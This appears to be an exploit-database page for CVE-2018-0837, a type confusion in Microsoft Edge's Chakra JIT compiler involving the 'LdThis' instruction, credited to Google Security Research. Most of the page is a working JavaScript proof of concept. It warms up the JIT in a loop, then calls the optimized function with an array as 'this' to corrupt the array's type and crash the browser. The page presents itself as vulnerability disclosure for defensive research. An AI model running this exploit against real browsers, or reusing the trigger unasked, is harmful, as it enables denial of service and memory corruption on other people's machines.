Materialized exploit

CVE-2018-0837

HIGH

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB dos windows Verified

Source

Microsoft Edge Chakra JIT - 'LdThis' Type Confusion

By Google Security Research

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code js

/*
LdThis instructions' value type is assumed to be "Object". Since "this" can be other objects like an array, it has to be assumed to be "LikelyObject", otherwise, operations to "this" will not be checked properly.

PoC:
*/

function opt(arr) {
    arr[0] = 1.1;
    this[0] = {};
    arr[0] = 2.3023e-320;
}

function main() {
    let arr = [1.1];
    for (let i = 0; i < 10000; i++) {
        opt.call({}, arr);
    }

    opt.call(arr, arr);
    print(arr);
}

main();